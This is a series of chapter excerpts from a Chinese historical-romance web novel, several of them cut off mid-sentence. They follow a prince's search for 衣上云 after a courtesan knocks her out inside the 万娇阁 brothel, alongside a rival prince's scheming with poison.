然轩辕翰一听到“易三少”三个字,眼前忽然一亮,又顿时联想到方才楼下的那个遮着面纱似是女子的男子,瞬间竟猛然站起身来,将那方才一直低垂着的眼睛迅速抬起,对其厉声呵斥道“什么,易三少也在万娇阁?为何不早说?他怎么可能会去那种地方?一定是...” 轩辕翰愤怒地欲言又止道,似是心中已有了怀疑。忽然觉得心里七上八下,更加担心了起来。 程良俨然被眼前的主子顿时惊到,不知轩辕翰究竟为何动怒,只皱了皱眉,低声地问道“属下以为这只是那易三少不为人知的嗜好,若不是因为他一直纠缠着衣姑娘不放的话,属下怕是也不会对殿下说这种事情的。” “可有亲眼看到他房内女子的模样?”轩辕翰并不听他的解释,只着急地问道。 程良摇摇头“当时属下对那易三少此举过于吃惊,便疏忽了内室榻上的那女子,只见其躲在轻纱帐中,裹得严严实实,但并未进去详查。” 轩辕翰顿时皱起眉头,狠狠地瞪向他,程良自是不知其意,即刻变得六神无主起来,只怯怯地问道“难道那女子,殿下认为有什么问题吗?” 轩辕翰强忍住内心的怒火,朝其冷冷道“你可知道方才他房内的女子是谁吗?” 程良稍一沉思,似是忽然间恍然大悟,惊道“难道殿下是怀疑,方才躲在易三少房内榻上的女子便是衣姑娘?...可是,不对啊,方才易三少全身脱的光光的,只剩下一条底裤,衣姑娘怎么可能是如此放荡又轻浮的女子?” “什么,易三少真的这样做了?”轩辕翰听闻程良所言,瞬间大惊失色道。 程良似是这才察觉自己又说错了话,于是惊恐地看着轩辕翰满是惊愕的表情,朝其点了点头。 轩辕翰即刻紧紧地握起他那两只拳头来,发出咯咯的响声,一双愤怒的眼睛似是要放出万支利剑来。 稍一犹豫,他回过神,对程良说“方才说话间,本王看到从万娇阁里走出来一男一女,那男子亦是遮着面纱, 第一百一十二章:万娇阁外,被劫 兰香稍一沉思,却忽然改变了口气,挑高声音轻描淡写地说道“你放心,玉娘她一时半会还死不了,不过以后的事,那就......” 衣上云听出她这话里有话,便顿时觉得心里乱哄哄的,七上八下着,然最终还是冷静了一下,疑惑地问“你这话是什么意思?” 兰香轻叹口气,眼神迷离着说道“在万娇阁里,玉娘从来都与我们所有人不同,她向来不用接客,亦不用看人脸色。你可知道,我有多羡慕她么?” 衣上云听了将信将疑地朝其哼道“哼…难道她在这种地方还会过的有多好不成?你到底想说什么?” 兰香淡淡地看了她一眼,似是心里也不完全清楚明白这其中原由,只轻笑了一声,似是有些不甘心地幽幽说道“你也觉得很难以置信对吗?进入这样的烟花之地还能保全一个清白的身子,任谁都不会相信的,可事实却是如此。方才你也看到了,我的房间宽敞明亮又干净,是这万娇阁里所有姑娘中住的最好的。而就在不久前,住这间屋子的人正是玉娘。可与我不同,她一进来万娇阁里,便终日大门不出二门不迈,整日里锦衣玉食侍奉着,就如同一个大家闺秀般被悉心呵护着。一日三餐更是那老鸨亲自送进房里照料。她从来都不用伺候那些令人望之就想作呕的臭男人。而我……” 兰香说着说着忽然停了下来,对于以前种种煎熬残忍的过往,她实在难以启齿,也不愿再回忆起。最后,只将那弯弯的两道柳月眉皱的紧紧地,狠狠咬住那张红艳艳的唇,沉默着不再说话。 看着兰香回忆起不堪的从前,颇为黯然神伤着,衣上云忽然对眼前这个可怜的人,心里亦是生出了最初的那份同情和不忍。 但稍一沉思,她忽然似是有所怀疑,问道“难道是玉娘知道了你处境艰难,又念及你俩姐妹情深,将这一切都让与了你?既然你已经得到了你想要的一切,那玉娘呢?你们把玉娘怎么了?她对你那么好,你怎么能恩将仇报...” 不知为何,还未等衣上云将话说完,兰香忽然就像是被人踩住了尾巴,顿时露出一副恶狠狠的眼神,抓狂地用手指着衣上云的鼻子,声嘶竭底地对她吼道“闭嘴,你懂什么?这一切都是我应得的,兰香虽然没了干净的身子,但是还绝对沦落不到要靠别人施舍和可怜度日。这些年,我在万娇阁里,吃了那么多苦,受了那么多罪,为他接了那么多特别的客人,做了那么多伤天害理的事……我那么全心全意地对他。那个位置本来就是我的,凭什么她玉娘一来就将这所有的一切属于我的都占了去?甚至连他...都因此不愿再看我一眼。” 衣上云被眼前忽然一张狰狞无比的脸, 惊呆了。半天后方才疑惑道“他?他是谁?” 兰香发觉自己竟一急之下,险些说漏嘴酿成大错,连忙缓过神来眼睛朝四下里躲闪着。 沉默许久后,她却忽然无厘头又似意味深长地对衣上云说道“你真不该来这里,这万娇阁表面上看只是一座金碧辉煌的烟花之所,实则里面阴谋重重。你来了,只怕是有去无回...对不起,兰香自知千不该万不该,不该喜欢上那样一个薄情的人。如果兰香此生不是沦落为一个风尘女子,从此一切身不由己。或许,兰香会一辈子视玉娘和小姐你为很好的闺阁密友的。” 兰香一边说着,竟不知何时已悄悄地绕向了衣上云的身后去。 而衣上云听着她此时这番发自肺腑,似是真情流露,却又云里雾里的言语,正皱起那好看的眉头,入神的琢磨着。 忽然,兰香一步跨到其身后,伸出一只看似娇柔,实际上却充满力量的手来,对准她的后颈部重重地一掌劈了下去...... 只见顿时,衣上云的整个身子便朝地上倒了下去。 兰香眼睁睁地看着衣上云倒在她的脚下,脸上却露出一脸异常的平静。悠悠地眼神对其说道“你不是很想知道玉娘在哪里吗?我现在就告诉你,玉娘她——远在天边近在眼前。” ...... 万娇阁附近的如意居里。 易君浩正独自一人坐在厅里一处不起眼的角落,面前的桌案上摆着几碟小菜,一壶清酒。 他正痴痴地一边发呆,一边缓缓地旋转把玩着手里的杯盏。 半晌后,只见那双细长迷人的桃花眼忽然朝着门外望了望,似是在等待着什么,却瞬间又失望地收回视线暗自叹了口气,随后便将手中杯盏里的美酒一饮而尽,又继续提起酒壶来欲将其再次斟满。 可这时方才发觉,竟已不知不觉间又是一壶酒下肚了,于是斜着眼睛朝着身后的柜台上吆喝道“掌柜的,再来一壶酒。” “客官,您这可已经是第三壶了,这酒可是如意居里最上乘的清酒啊,客官当心身子。”掌柜的一上来便关切道。 然易君浩却似对掌柜的一番好言相劝甚为不满,有些不耐烦地朝其喝到“怎么?你是怕大爷我付不起酒钱么?” 说着,便从腰间扯下了整包钱袋来丢在桌上,掌柜的一见,立马解释道“看客官这话说的,我们这开门做生意的,有钱哪儿 第一百一十三章:竟已是,人去楼空 “登记肯定是有的,可这信息,我们本应该都替客人保密的,这......”掌柜的面露难色道。 易君浩连忙说道“实不相瞒,那女子是本公子的表妹,瞒着家中父母独自来到这里。方才本公子本已在万娇阁里找到了她,可她非要坚持跟一陌生人出去片刻,许就是跟她一起住店的人。我们本来已经约好了在此相聚,可这眼看着亥时都快过去了,会不会出了什么事?” 话说,那毕竟是个姑娘家,掌柜的一听易君浩这番话便也确是有些心软了。 顿时朝着身后的柜台边上望了一眼那更漏上所指的时辰,见着也确实已太晚,似是也替其有些担心了起来。 纠结了半天,又看看易君浩此时已近是哀求的眼神,一咬牙,索性便急急起身来朝柜台前大步迈过去,易君浩一见亦连忙站起精神抖擞地紧随其后。 “公子请看,这就是那位戴着面具看似气质不凡的公子做的登记,这所有的花销也都是这位公子支付的。”易君浩急急顺着老掌柜所指向的地方看去,只见那登记簿上白纸黑字,清清楚楚地显现出来“江志煊”三个字。 然一看到这名字,他便即刻愣住了。 作为西秦国里医药界巨头的百草谷和百草堂正主,这有头有脸能住的起这城南如意居的非富即贵的人没几个,可眼前这个名字却着实生疏地很,十之八九怕是这来者不善了。 稍一迟疑,只见他眉头紧皱,跟着又匆匆瞥了一眼房间号码,竟是无巧不成书,这俩个房间正好挨着他的房间。于是,便径自迈着大步直冲向了位于二楼东边的那间天字号客房。 掌柜的一见,突觉似是有什么严重的事情将要发生,便亦急急跟了上去。 他一路小跑,好不容易才追了上来,正气喘吁吁地打算告诉易君浩,方才忘了跟他讲,这房里的客人不久前刚回来已经歇息了。 却只听到“哐当”一声响,那门便已被易君浩极为大力的一脚踹了开来。 而随之眼前所发生的极为诡异令人惊悚的一幕,更是瞬间让那老掌柜惊的目瞪口呆。 不知何时,房内的人竟然早已经奇迹般地似是凭空消失了一般,不见了踪影,可他一直还在楼下等着随时侍候贵客呢?! 半晌后,只见掌柜的仍旧一脸惊愕地站在房间门口,望着空荡荡的客房心里暗自纳闷,人呢?方才在下明明亲眼看到他上楼来了啊,难道是在下的老眼昏花了不成?说着,伸手用力揉了揉眼睛。 易君浩亦半眯起那细长的眼睛皱起眉头一脸狐疑地看着眼前的一切。 俩人并排站在空荡荡的房间门口沉默了半天后,易君浩忽然一回神问道“掌柜的方才说这位客人遮着面具,可是一银白 蝶形面具?” 掌柜的似是至今都还尚在梦中一般,只对其淡淡回道“正是,可他明明在公子回来的前一刻方才踏入如意居的大门。此后,在下便与公子一直在楼下交谈,并未见他下楼离开啊,这人难不成是长了翅膀飞了不成?” 掌柜的话音刚落,似是还不能完全相信自己此时所见。便赶忙踱步进去房内角角落落又仔细地查看了一通,甚至还趴在窗前上下左右着望了望,却依旧一脸不变的匪夷所思。 “江志煊,你到底是谁?这真的就是你的名字吗?你究竟想要对丫头做什么?”易君浩口中低声喃喃道。 然此时,他却更加确定此人一定没那么简单。他的身份亦是极为特殊,怕绝对不是一般的细作,对衣上云也更是动机不纯的猜想。 忽然,他抬起头来眼睛一怔,像是受到了很大惊吓似的,一种不好的预感油然而生,大喊一句“糟了!” 跟着,便急急冲下楼去,一出如意居的门,便朝着万娇阁的方向又折了回去。 就在他刚走出门没多久,轩辕翰在程良的陪同下亦缓缓步入了如意居的大门,却都沉默着现出一副尽是疲惫与失落的神情。 见轩辕翰进门,掌柜的匆忙上前来极为恭敬地笑着朝其行礼“殿下回来了。” 轩辕翰此时根本没有心思理他,只径自拖着难得一见的沉重的脚步缓缓朝楼上走去。 掌柜的亦更不知发生了何事?悄悄朝着旁边的程良撇了一眼,程良对他使了个眼色,他立马收了声不再说话,只与程良一道紧随其后亦上了楼去。 原来,这城南香满楼和这如意居亦都是这秦王轩辕翰的产业。 到了三楼最东边一套极为幽静,布置更显庄严的门前候了许久,见程良终于安顿好主子,从房间里走了出来。 上楼一路思量了许久,老掌柜的还是走上前来,含笑着关切道“程将军辛苦了,殿下就寝了吧?!” 程良淡淡地看了他一眼,随即深叹口气,似是怕俩人交谈的声音吵到了主子。于是,一边朝着三楼角上走去,一边说道“殿下本来整日里就政务繁忙,这会儿心上人又丢了,哪里会这么早便入睡?还在书房里睹物思人呢。本将军送殿下回来,这会儿也要回去守着万娇阁了。” “心上人丢了?可是秦王妃丢啦?”掌柜的一听,顿时惊道。 程良瞪了他一眼,似是有些不高兴地说“不是秦王妃,是一个…整日里遮着面纱,总喜欢独自到处乱跑, 第一百一十四章:大红灯笼高高挂 掌柜的对程良幽幽道“衣姑娘入住后,在房内换了一身男装,又用了晚饭,一行三人便一道出了门,至今未归;而将军所说的那易三少,据他自己所言,他自称是衣姑娘的表哥。又说方才本已在万娇阁找到了衣姑娘,又被什么人约了去。他怀疑是与衣姑娘一起来住店的人居心叵测,想对衣姑娘不利,便上楼查了那客人的房间。哎呦,老夫到现在还惊魂未定呢,谁料想那客人竟不知何时,已离奇般消失地无影无踪。那易三少一见,怀疑衣姑娘遇到了危险,就在方才殿下与将军回来的前脚刚刚追了出去。” “果然是易三少搞得鬼…这一切竟真如主子所料。”程良终于恍然大悟道。 但稍一迟疑,他又急忙问“你可知那易三少去了哪里?” 掌柜的稍一回忆,也似猜忌地说道“听他说是在万娇阁里找到衣姑娘的,老夫估摸着,他应该还会回去那里寻或者等吧?只是,这衣姑娘一个女子,怎么会去那种地方呢?” 程良并没有理会老掌柜的疑惑,只皱着眉头自顾自地重复了一句“万娇阁” 随后,便还不等老掌柜反应过来,便急忙伸手一把拉起他,转身就朝轩辕翰的门前折回,轻轻叩响了门,进到了屋内去。 让老掌柜将知道的所有一切一字不落地朝主子仔细禀报起来…… “殿下为何不等衣姑娘,带她一起回去呢?她一个人在这儿,怕是不安全吧?” 一条风高夜黑的郊外小道上,侍卫一边担心又不解地问着,一边急急策马奔驰着。 此时,梅志煊已除去了脸上蝶形银白面具的遮掩,露出一张线条甚是精致俊朗的面孔,散发出满副温润如玉的尊贵之气来。 听到侍卫的话,顿时那精致的脸阔上现出一抹不悦之色“有那俩个人在,她不会有事的。方才万娇阁里的官兵就是那秦王轩辕翰安排来此找她的,而且本皇子还亲眼看到那南安太子也在。” 侍卫难以置信,惊道“殿下是说,那秦王轩辕翰和南安国太子也到了城南?” 梅志煊一想到方才的惊险,便叹了口气“方才本皇子攀附在万娇阁窗户外面躲避追查时,窥见那前来查房的头领,正是与那轩辕翰整日里形影不离的副将。本皇子肯定,轩辕翰一定也就在周围,我们如果再呆下去的话,怕是很容易会暴露的。” “那嫡公主的事,我们还……”侍卫听闻忽觉有些后怕,可稍一犹豫,又忧心地欲言又止道。 “先回东苑,城西衣府附近的栖身之地,怕是很快也会被人查出来的。来日方长,此事再另做打算吧?隐藏身份最重要!……对了,尽快约永乐出来一趟,本皇子必须亲自见她一面。”梅志煊意味深长地对侍卫吩咐 道。 …… “江...志煊” 听完了程良和老掌柜新呈上来的消息,轩辕翰低声重复了一句。 可正如易君浩的逻辑,这西秦的达官贵人里,轩辕翰自是比谁都更要熟悉,显然他怎样都从记忆里找不出一个这样的江姓男子出来。 而此时,他忽然想起轩辕玥来之前打探到的消息,是俩个东宁国人将衣上云带走的。 于是,忽然第一个从他脑海里冒出来便是“梅志煊”的名字。想到这里,他那两道浓密的剑眉深深地皱了起来。 而老掌柜的悄悄一察颜观色,早已瑟缩成一团,不知该如何自处。只得心里极为忐忑着,垂下眉目,等候着发落。 半晌后,却只见轩辕翰转目盯视着书案上放着的那方纯白的云字丝帕,深吸口气,又缓缓地将其呼了出去。 此时,他心里又多升起一缕悠长的愁绪来,真是一波未平一波又起。 忽然,程良面露难色道,打破了这眼下静的可怕的气氛“殿下,如今我们到底该如何是好?这万娇阁里,似乎很难找出突破口?” 他已亲自几次三番地搜查,依旧没有丝毫收获。如今,不但连玉娘的失踪尚还没有寻到蛛丝马迹,就连衣上云也掺入其中不知所踪。 见轩辕翰一直不出声,程良忽然怀疑道“难道是我们方向错了,这件事并不只与万娇阁有关,还有其他势力的介入?!” 程良说完一抬头,方才发现不知何时,轩辕翰竟已垂首双目禁闭着,似是陷入了无尽的沉思之中。 而忽然,他深吐一口浊气后,睁开那双深邃的眼眸,极为肯定地说道“本王的猜测一定没错。万娇阁不让玉娘接客,却只对玉娘用毒,一定是有什么极大的阴谋。而这毒之前云儿说过,那是只有北烈才生长的毒物;而玉娘一直都在万娇阁里呆着,却在突然遇到了一个北烈茶商后,没多久便失踪了,茶叶对于北烈国来说,犹如我西秦人每日所用之食盐一般不可或缺,并不是一般简单的商人所能触及的;再加上前些日子,我们在北烈安插的细作不是传来消息说,北烈大皇子拓跋泽已混入我西秦市井之中嘛。” 程良似是听懂了什么,连忙插嘴道“属下明白了,能指使下令给玉娘用毒的,以及能做北烈茶商的,还有这万娇阁背后真正的主子,怕正是这北烈国大皇子拓跋泽。玉娘一定是到了被他们利用的时候了,所以极有可能已经……” & 第一百一十五章:可怜天下父母心 忽然,前方不远处隐隐约约地现出一条极为幽静的街道来。 那街道尽头,一极不起眼的门户上高高挂着的两盏跳跃着火红温暖烛光的大红灯笼,引起了轩辕昊的注意。 看上去,这家似是姐弟俩在这城南半日里见过的所有门庭里,最为简朴的一小门小户。 因为,这大过年的,每户人家都是竭尽所能的张灯结彩,装饰着尤为重要的门庭脸面。 可这户人家却只是在门前挂了两盏灯笼,仅此而已,甚至连副春联都不曾张贴,看起来很是寒酸的样子。 轩辕昊心想,定是这户人家家中的日子过的很拮据吧,不由得暗自里替其叹了口气。 他一边缓缓朝那方向踱步着,一边默默地望着那幽静而又温暖的烛火。片刻后,不知为何,心里却忽然觉得那灯笼仿佛是院子里面的母亲,特意为在外奔波辛劳的孩子点的一盏照亮其回家之路的路标一般。 随即,他的眼中又流露出一股暖意,不禁口中低声喃喃道“慈母手中线,游子身上衣。临行密密缝,意恐迟迟归。真是,可怜天下父母心啊。” 忽然,一阵寒风袭来,“阿嚏”轩辕玥似是本能地打了个喷嚏。姐弟俩急着出门寻衣上云的消息,出门时着急地竟然连银子都忘了带,这会儿真的是又恼又冷又饿。 轩辕昊闻之,方才回神,像个小大人般关心道“皇姐,你是不是冷啊,要不把皇弟的斗篷给皇姐披吧。皇弟是男子,出门在外,理应保护照顾好皇姐才是。” 轩辕昊说着,便停下脚步来,麻利地伸出手去解带,轩辕玥急急一把上前阻止了他。 见轩辕昊此刻如此暖心,心中忽然涌起无尽的暖意来,抿起嘴朝其笑着摸了摸他的头,甚是欣慰地说道“皇弟真的长大了,都知道关心人了,皇姐真的很开心。皇姐相信,如此善良优秀的皇弟,以后也自然一定能做个勤政爱民的好国君,庇护我西秦子民。” 可是,轩辕昊一听这话却忽然嘟起嘴来。稍一犹豫,垂首下去满不开心地对轩辕玥说“皇姐……其实皇弟根本不想做皇帝。与其如父皇和秦皇叔那般冰冷又无趣地活着,那还不如让皇弟跟随太傅去到灵空大陆各方四处游历呢。如此,至少皇弟是自由自在且没有烦恼的。” 轩辕玥听了,方才还挂在脸上的淡淡笑容忽然渐渐褪去,沉思片刻,语重心长地对他说道“世人又有谁不爱自由呢。但你我既已生在帝王家,成为皇族儿女,便都注定了这一生拥有各自神圣不可抗拒的天命。所谓天命难违,你我这一世从一出生便都已注定是身不由己了。况且,人总要学着慢慢长大和有所担当,不是么……” 轩辕昊自也不是不知道轩辕玥所说的这番道理 ,也许是真的他还只是个十岁的孩子而已,心中总有不甘,为何自己就不能按照自己的意愿去过这仅有的一生一世。一转念,他忽然问道“那皇姐呢?皇姐真的想好了要嫁到东宁国吗?那以后皇弟和母后可就很难再见到皇姐一面了呀?!” 被轩辕昊忽然这么一问,想起了梅志煊,轩辕玥的脸上不禁流出一丝甜蜜。 她的直觉一直在告诉她,遇到梅志煊仿佛就是她的命中注定一般,也似乎是她和亲最好的选择。反正怎么都是逃不脱和亲的命运,与其坐以待毙,不如赌一把在梅志煊的身上,此生成败亦是在此一举了。 可一想起也正是因此,她从此可能亦是永远地要离开这片生她养她的亲亲国土,轩辕玥便沉默起来不再说话,陷入一片深深的沉思当中。 正在轩辕昊等着看轩辕玥会如何回答时,忽然,他的余光瞥见一名打扮有些招摇的女子,背着一个一动不动,似是喝醉了的男子,从那挂着红灯笼的门户旁,一条漆黑的巷子里缓缓走了出来。 轩辕昊心中一时对其起了兴致,指着那俩人的方向对身旁尚还沉思着的轩辕玥急道“皇姐,快看。皇弟觉得那女子所背的定是她那整日里花天酒地的丈夫。这大过年的还在外面瞎混,瞧这女子多可怜。天下男子尽是薄情寡义。但见新人笑,哪闻旧人哭。……无论皇姐如何打算,皇弟只希望皇姐的夫君是这天下无双的好男儿。” 轩辕玥方才本是无精打采,闷闷的沉默着,忽闻轩辕昊的声音,连忙亦朝着他所指的方向看去,却只看到了俩人已转过弯来在门前的背影,还有女子后背上的男子脸上遮着一面纱侧着脸似是在酣睡着。 而就在女子走到那门前欲开门跨过门槛时,她忽然回头朝着身后四下里警觉地张望了片刻,方才推门进去。 这时,女子背上的男子,其头上挽发用的白色发带忽然散开掉落了下来。女子却浑然不觉,只急急一进去便将门关的紧紧的。 “到了自家门前,为何一副鬼鬼祟祟的样子”轩辕昊皱着眉头纳闷着,口中喃喃道。 看到白色发带落地,轩辕昊连忙走过去将其拾起,拿在手里端详了半天,心中似是有些怀疑,一边把玩着,一边回到轩辕玥身边,不解的说“看这发带的质地,极为上品,怎会是住在这种小门小户的人家里所能用的起的。闻一闻,怎么还有股脂粉气。皇姐,看被皇弟猜中了吧,定是这男子整日里大手大脚地装饰自己,跑去那种烟花之地胡混方才沾染上了这些胭脂水粉味。如此整日奢靡方致败光了家产,才会日子过的如此不堪。” 轩辕昊气呼呼地说着,而轩辕玥却心里顿觉诧异 第一百一十六章:曾经,姐妹情深 婆婆一听,心里突然咯噔一下,甚是担忧地说道“香儿啊,你这整天都在外面做些什么啊,这怎么还跟这些危险的人扯在了一起。你这是诚心要气死外婆么?你说你娘当年就是不听外婆的话,非要留下那个来历不明的人在家里养伤,后来对他动了情,哪怕没有名分,也甘愿为其未婚生子。可最终,还不是被那忘恩负义的男人给抛弃了。她一死,狠心地让我这白发人送黑发人,留下我与你这一老一小。可到了你这儿,怎么还是如此执迷不悟,不让我省一点儿心呢?” 老婆婆说起那不堪回首的过往,悲痛欲绝…… 兰香听到外婆这一番似是肝肠寸断的哭诉,心中亦是方才为之所动容,片刻后亦气道“外婆此后莫要在香儿面前再提起那个狼心狗肺的畜牲来,香儿但愿这一生永远都不要遇到他。不过,如果不幸有一天,若真让香儿再遇到了那个人,香儿一定会将这些年我们婆孙俩还有香儿那死去的娘生前所受的所有屈辱都让他加倍奉还。” 兰香咬牙切齿恨恨地说着,想起了她尚还只有五岁,那般懵懂无知时便永远地失去了母爱的庇护,成了整条街里人人可欺的无父无母的小孩。 街坊邻居的孩子更是不屑与她一起嬉戏,甚至于那些没有一点同情心的大人们还会时常对她指指点点,教他们的孩子骂她是个不要脸的小狐狸精,是个来历不明的野种,有人生没人养,用小石子丢她,口水吐她…… 在完全被周围环境孤立起来长大的她,内心却极为善良和简单,自是也有些自卑。对于这世上外界的人和事,她的内心又充满着期待与好奇。而识别能力却太过于肤浅,并不知这个世界还有那般肮脏而又复杂的一面。 就在她十五岁及筚的那年,出落得更是淡雅素静,亭亭玉立,着实是当地难得一见的美人儿一枚,遭到周围许多人的眼红。 同时,她也像所有少女一样,此刻对自己的未来满怀憧憬。很快,便遇到了一位异乡来的翩翩公子,对她信誓旦旦,嘘寒问暖,关怀备至,毫无偏见。还给她讲了这天下她从来都不曾听闻过的许多人与物,甚至说将来一定会带她离开这里,走出去看看外面的世界…… 很快,俩人便坠入了你侬我侬,难舍难分的爱河之中。 谁知,这竟是一场早已预谋好的温柔陷阱,那玉面男子竟是一匹十恶不赦的披着羊皮的狼。 他不但骗了她的处子之身,在她成了他的囊中之物后,当他厌倦了她,便眼睛眨也不眨一下地狠心将其骗着签下了一纸卖身契,将其卖到了青楼那人间地狱里。 从此,叫天天不应,叫地地不灵,她成了一个任凭千人骑万人跨,满身污秽的风尘女子。 就连那可怜的卖身钱都被那人面兽心的家伙一文不剩地带着远走高飞,从此没了踪影...... 今天的这一切,都是拜那俩个男人所赐,她永远都不会原谅,永远不会。 本以为自己这辈子都不会再相信任何男人的花言巧语,更不会再爱。直到在万娇阁里遇到了那个让他一见便失了魂魄的拓跋泽,方才又一次感觉到自己的心竟还会再次悸动。 虽然知道自己的身子已经不再清清白白,配不上那样高贵的人,可她始终都放不下心中的这份执念。 本来依靠自己的长相和才情,也堪称得上是这万娇阁里的花魁人物。因此,有时候拓跋泽也会另外看她一眼。可即使只是这偶尔的一眼,她也已经心满意足了。 但直到玉娘的出现,拓跋泽竟再也没有看过她。于是,她的心中便升起了一种邪念来。 在万娇阁里,她故意寻机接近玉娘,交好她,甚至最后俩人以姐妹相称,她觉得这世上真的只有玉娘才是真心实意对她好的人。 知道了自己悲惨的身世和经历后,玉娘不但没有像其他人那样看不起她,反而对她更是关怀备至。而玉娘被禁足不得离开万娇阁半步,她也经常帮玉娘悄悄地送一些东西出去。 如果不是因为拓跋泽,或许她真的会和玉娘成为很好的姐妹。可偏偏不是这样,而之后她更是做出了让自己可能这辈子都无法原谅自己的事情来。 想到这一切,她心里又气又恼。为何这世间的事,总是如此捉弄人呢? 外婆听了她这段满是恨意的话,心里本就一片无尽的苦楚顿时又更多添了几分,便更伤心难过地抽噎起来。 兰香闻之连忙上前抚着她的背,安慰道“外婆放心,等兰香赚够了钱,便带着外婆去一个没有人认识我们的地方,我们永远地离开这个伤心之地,一切都重新开始,好么?” “我可怜的香儿啊…” “外婆…” 婆孙俩说着,便抱头一起痛哭了起来…… 说起赎身的钱,又岂是那般容易的呢。可是,老鸨答应了她,只要这件事她办好了,便会将卖身契还给她,永远放她自由。 这件事……兰香趴在外婆瘦弱的肩膀上泪眼朦胧着,眼睛不禁望向了正昏睡在榻边的衣上云的身上…… “吱呀”一声,一间空荡荡漆黑不见天日,潮湿阴森冰冷的暗室,门被打开来。 接着,缓缓走进来一男一女。最先走进的是一个身形走样的肥胖妇人。她扭扭捏捏地一走进来,便朝着墙角的一盏熄灭着的油灯过去,用自己手里掌着的发出微弱光照的蜡烛引燃了那盏油灯。 顿时,暗室里变得明亮起来,那满室的尘 第一百一十七章:腐颜水 拓跋泽看着玉娘肝肠寸断的模样,深深地吐了口气。 许久后,玉娘忽然止住了哭声,却连挂在眼角的泪水都不屑于去拭掉,只慢慢地抬起来一双绝望的眼神说道“罢了,既然平安已去,玉娘活着还有什么意思。来吧,要杀要剐,悉听尊便。反正,进过这种地方,就算能出去,日后玉娘也是已无颜面再见家人。死了也好,倒落个干净。” 话刚说完,便抬起头来背靠着墙,将那一双好看的眼睛缓缓闭起。拓跋泽似是心中有些不忍,看着她沉默了许久后,背过身子去,低声对身旁的老鸨吩咐道“动手吧。” 于是,老鸨从身上缓缓掏出一把早已提前准备好的锋利无比的匕首来,朝其一步一步走了过去...... 俩人刚一走出暗室的门来,守在门口的侍卫便欣喜地拱手向拓跋泽祝贺道“恭喜殿下,大功告成。” 然拓跋泽此时正缓缓地将脸上的黑白色马相面具摘了下来,只见其脸上随即露出了一丝凝重。似乎并没有如侍卫所说的那般会有喜悦之色挂在脸上。 这时,一旁的老鸨看见了他似是有些忧郁的脸,只急急说了句“那...老奴这就下去加快练制冰美人蛊毒?” 拓跋泽眨了眨眼,朝其摆了摆手,老鸨便悄悄退了下去。 这时,侍卫方才上前来跟在拓跋泽身后一边走一边问道“殿下可有从玉娘那里打探到画像上女子的身份了?那只有画像却并无一字的,能让那尊贵的秦王轩辕翰亲临城南,在万娇阁里大肆寻找的到底是什么重要之人?” 眼前这俩人怎能不识得誉满灵空的战神西秦秦王,而今日官府忽然大张旗鼓地进到万娇阁里寻人,他们很快便发现了对面香满楼里的尊贵客人——轩辕翰。 沉默了半晌,拓跋泽依旧双手负后着一边走,一边对其身旁的侍卫悠悠道“玉娘说她在秦王府当差的时候,见过画像上的女子,她叫做衣上云,是西秦皇宫里一个小小的药女。” “衣上云,这个名字怎么这么耳熟?”侍卫一听,摸着脑袋急急回想着。 半天后,他终于想了起来,惊讶地急道“属下想起来了,她不正是前不久,解了我们对那西秦太子所施的天花之毒的女子么。” 拓跋泽顿时停下来优优的脚步,回头朝其一怔,口中亦是顿感惊诧道“是她!” 在侍卫的提醒下,他终于想起来这个让他曾经极为好奇的女子:西秦国御药房药师之女,长相丑陋且废柴一个,被西秦学院少主退了婚。后来为了替父亲的失职赎罪,被西秦皇帝惩罚入宫在御药房做了一名小药女。而今,却又被西秦皇帝将其赐给了秦王府的秦王妃做贴身医女。 “秦王府?轩辕翰? 秦王妃?西秦学院?......”拓跋泽一边暗自沉声说着,脸上露出了一脸让人捉摸不透的表情来。 侍卫点点头对其肯定道,又很纳闷地接着问道“只是,属下不知,殿下是如何料到那玉娘会识得画像中的女子的?” 拓跋泽阅人无数,一看到官兵手里的女子画像,便一眼认出了今夜来万娇阁里的白袍公子正是由此女乔装而成“今日来阁中的这俩人疑点重重。不但都不愿以真面目示人,而且在誉满整个西秦的万娇阁里,什么样的女子没有,竟都未能使其寻得一个称心如意的姑娘。所以,本皇子便断定他们根本就不是来这里消遣的,而是来寻人的。既然这些女子都不是他们要寻的人,那就只剩下这玉娘了,便自是玉娘认识的人。” 侍卫听了,立刻臣服道“主子英明,还好我们将玉娘提前转移了,否则怕是定会误了大事。” 拓跋泽随即冷笑一声,回过头去继续往前走去。他半眯着眼睛低声沉吟道“衣上云,哼…果然有胆识,本皇子记住你了。区区一个弱女子,不但敢独自前来我这万娇阁里寻事。还能让这西秦秦王不惜屈尊亲自作这么大阵势寻找,想必定是一个不简单的女子。竟然还解得了本皇子特制的天花之毒。哼…本皇子倒要看看,你究竟有多大能耐?” “公主殿下,太子殿下,终于找到你们了!”程良带着几名侍卫骑着马终于看到了这姐弟俩的身影,连忙下马来上前,包围了轩辕玥和轩辕昊。 从如意居里出来,几人寻了一路,终于在回如意居的半路上遇到了这姐弟俩人。 “程将军”看到程良,俩姐妹方才终于舒了口气,安心了许多。 稍一迟疑,轩辕玥急急上前问道“程将军可有寻到云儿了?” 程良一听,顿感惭愧又无奈“本来是寻到了,可又弄丢了。” “程将军此话怎讲?”轩辕昊忽然疑惑地插了嘴。 “俩位殿下请上马,属下边走边说,主子方才得知俩位殿下私自出门,大发雷霆了呢!”姐弟俩一听轩辕翰大怒,顿时面面相觑,吐了吐舌头。 于是,程良将今夜发生在万娇阁和如意居里的所有事情都跟这姐弟俩人仔仔细细地说了起来…… 听完程良的话,轩辕玥犹豫片刻,问道“程将军确定带走云儿的,是万娇阁的女子?” “据殿下所述,应该就是万娇阁的女子。只是可惜当时在楼上看不清那女子的相貌,只怕是不好找,这万娇阁里面,隐藏的太深了,殿下断定其中必大有玄机,可是属下至今都未能有所突破……”程良叹了口气道。 轩辕玥沉思着,忽然灵光一闪“方才程将军不是说那易三少 第一百一十八章:一切过往止于此 兰香瞬间便被怔住,只见易君浩手中高高举着的那只琉璃瓶的瓶口,随着瓶塞的打开,顿时被一股烟雾缭绕笼罩住,似是有着极强的腐蚀性。 然随着易君浩的缓缓逼身靠近,兰香那极为不知所措的身体亦不禁往后一步一步地倒退了起来。 却没想突然脚下一个踉跄,顺势着她的胳膊一下便重重地撞开了身后那扇半掩着的窗户。 就在眼看着她的上半身整个都瞬间向着窗外倾去的时候,她的身子忽然机灵地朝着侧边顿时一闪,方才使得她整个瘦小的身子没有因这一踉跄而飞出窗外,最后只是稳稳地闪贴在了窗边的墙壁上。 过了片刻,她方才舒了口气。然顷刻间,她的眼睛似是还有些惊魂未定地朝外往楼下望了去,只看到窗外夜色如墨下甚是空旷与寂静的后院。 